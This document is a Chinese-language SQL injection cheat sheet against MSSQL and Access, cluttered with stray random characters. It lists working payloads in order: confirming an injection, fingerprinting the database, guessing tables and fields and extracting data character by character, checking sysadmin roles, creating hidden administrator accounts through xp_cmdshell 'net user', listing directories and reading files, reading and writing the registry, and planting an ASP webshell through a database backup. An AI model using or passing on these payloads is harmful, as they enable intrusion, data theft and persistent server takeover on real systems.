1.判断是否有注入;and 1=1 ;and 1=2 4FRi=d;mP
2.初步判断是否是mssql ;and user>0 ^OWG9`p+
wxh\CBxG
3.注入参数是字符'and [查询条件] and ''=' QtKcv7:4
x$BNFb%I1
4.搜索时没过滤参数的'and [查询条件] and '%25'=' @g5y_G{SP
]&Y^
5.判断数据库系统 5{V"!M+<
X7L:cVBg
;and (select count(*) from sysobjects)>0 mssql [I4MK%YQ
~d]v{<3
;and (select count(*) from msysobjects)>0 access I)FFh%m<}a
9N9&y^SmD
IV. })8
#c@&mus
6.猜数据库 ;and (select Count(*) from [数据库名])>0 9_:"`)]3B
r@zT!.sc!
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 MukJ^h*V
_(h=@cv
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 A[;deHg=
5qQMGN$K
9.(1)猜字段的ascii值(access) vQi=13Pw
PZ8,E{V
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 5<ruN11G
k B]`py!
(2)猜字段的ascii值(mssql) Y#68_%[
?cRF;!o"
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 >bZ-mX)j\0
Ei @
10.测试权限结构(mssql) MBA?, |9Q#
5>f"
ZJBb%d1;
tjXg
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- iVZ}+Ct<"
xE?KJ
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- t7F0[E'=5\
+X^GS^mz
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- U; oXX
~bb6NP;'L
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- Q+
V<&
u)r/#fUZ
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- 4joE"H6
xNOKa*
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- {HEWU<5
R~oJ-}iYX
;and 1=(select IS_MEMBER('db_owner'));-- iXnXZ|M
ftPps-
(y>N\xS9
d[3me{Rs
11.添加mssql和系统的帐户 ,jg #^47I
nA,=g'7S
;exec master.dbo.sp_addlogin username;-- ,R`CAf%*
;exec master.dbo.sp_password null,username,password;-- c 1F^Gj!8
K& ^qn&
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- 'M"z3j]m-,
St%x\[D
;exec master.dbo.xp_cmdshell 'net user username password @r*GGI!
KUZi3\p9W>
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- wCLniCt
I8J>>H'#A
;exec master.dbo.xp_cmdshell 'net user username password /add';-- H;nzo3x
3O$l;|SX
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- `Uz.9_6
wz:e\ !
d5gwc5X
o-RZwufZ`
12.(1)遍历目录 "t4z)j;
Cst1nGPL
;create table dirs(paths varchar(100), id int) |cY HH$
%;:![?M
;insert dirs exec master.dbo.xp_dirtree 'c:\' _j, Tc*T
"H(3pl.
;and (select top 1 paths from dirs)>0 [#gm[@d,
?l6yLn5si^
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) *>=tmW;%
`S|F\mI~
$GRw k>N
~wW]ntZm
(2)遍历目录 2Cp4aTGv#
Bn&P@C$7
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- 8m
iJQIq
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 sX~E ~$_g
QZvQ8
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 _9lMa7i
{"Sv~L|J;
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 \UK}B
]gPx%c
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 -&2Z/qM&!
#1J,!seJ
lot`6]
M8WjqTq
13.mssql中的存储过程 RG45S0Ygj
1w7tRw
xp_regenumvalues 注册表根键, 子键 }kmAUaa,Z
/P,1KVQPh
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 7/<~s]D[%
TzaeE
xp_regread 根键,子键,键值名 e#HPU
=A6*;T"W
;exec xp_regread kQ\ $0=6N9
?Sh]kJO
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 i_*yS+Z;
0 j!<eN=
xp_regwrite 根键,子键, 值名, 值类型, 值 _WWC8?6U
3:jxr
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 r[Pp[g-J
$jh$nMx)!
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 ^ou)c/68aQ
?+hEs =Xs
xp_regdeletevalue 根键,子键,值名 |k6+-
1~_
g$GGo[_0
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 :} =lE"2
[ x{$f7CEh
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 SV t~pE+Y
3#,6(k4>
L-?ty@-i
x*z[(0g!
14.mssql的backup创建webshell +C!GV.q[
QYo04`Rl
use model WZ?>F
~2rQ80_
create table cmd(str image); ~F-knEvL
F?2UHcs
insert into cmd(str) values (''); 0a:oC(Ak
`:3nF'
backup database model to disk='c:\l.asp'; "G>d8GbIh
n! 5(Z5=
A-4;$
QSm
9RlJf=Z#H
15.mssql内置函数 afX|R
((]i}s0S
;and (select @@version)>0 获得Windows的版本号 [(*Eg!?W=
Y(6evo&IR
;and user_name()='dbo' 判断当前系统的连接用户是不是sa M2cGr
i=<;$+tW
;and (select user_name())>0 爆当前系统的连接用户 cu>(;=
}6a}8EyFP
;and (select db_name())>0 得到当前连接的数据库 )@DDs(q=i
=!SV;^-q
5;KJ0N*-
-51LF=(!L
16.简洁的webshell NL:-3W7vf
e4=FO;%
use model xDw~n (*
m BvO<?ec
create table cmd(str image); /Yi4j,8!|
|1CX?8)b=
insert into cmd(str) values (''); nyPeN?-
rVP\F{Q4Tr
backup database model to disk='g:\wwwtest\l.asp';